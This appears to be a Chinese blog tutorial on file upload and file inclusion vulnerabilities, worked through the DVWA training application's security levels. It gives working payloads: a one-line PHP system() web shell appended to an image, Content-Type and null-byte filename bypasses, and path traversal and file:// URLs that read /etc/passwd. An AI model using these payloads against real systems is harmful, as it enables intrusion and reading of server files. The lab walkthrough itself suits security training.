Web渗透测试 之 文件上传、文件包含

文件上传漏洞修复

1. 文件mime 类型过滤

2. 文件大小过滤

3. 文件类型过滤

4. 获取图像信息检测

使用dvwa 测试

1. low级别 没有做过滤可以直接上传php文件。

 

 

2. 在medium 级别对上传文件的mine 类型进行了白名单过滤,我们可以通过brupsuite 改包实现上传

修改数据包Content-Type: application/x-php  Content-Type: image/jpeg

 

 

3. 在 high 级别中 增加了,类型检测,getimagesize获取图像信息检测

php5.4 以下 可以使用文件名 1.php%00.jpg 进行绕过

php5.4 以上 需要配置文件包含漏洞进行渗透

 方法一:

绕过方式,在图片文件后面 追加 恶意代码

由于无法使用菜刀等,一般该级别可以使用php的 system 函数

<?php @system($_POST[caibao])?> # 该命令需要使用post 提交数据

上传之后需要找到文件保存的绝对路径,以及存在的 文件包含漏洞

方法二:

使用GIF98A 放在文件首行,声明该文件是图片格式

 

 

 

文件包含漏洞

文件包含漏洞是由于php调用本地文件产生的

low 级别 未设置过滤,可使用file 查看系统任意文件

使用 相对路径获取数据

http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

使用绝对路径获取数据

http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

 

 

medium 级别对url 已经 相对路径做了过滤,可以使用file 协议进行绕过(与low 绝对路径方法相同)

 

high级别 使用白名单过滤只可以访问include.php 以及file 开头的文件,而file协议刚好也是file开头 即可正常绕过

 

impossible 级别设置了更严谨的白名单

 

原文地址:https://www.cnblogs.com/change06/p/12840153.html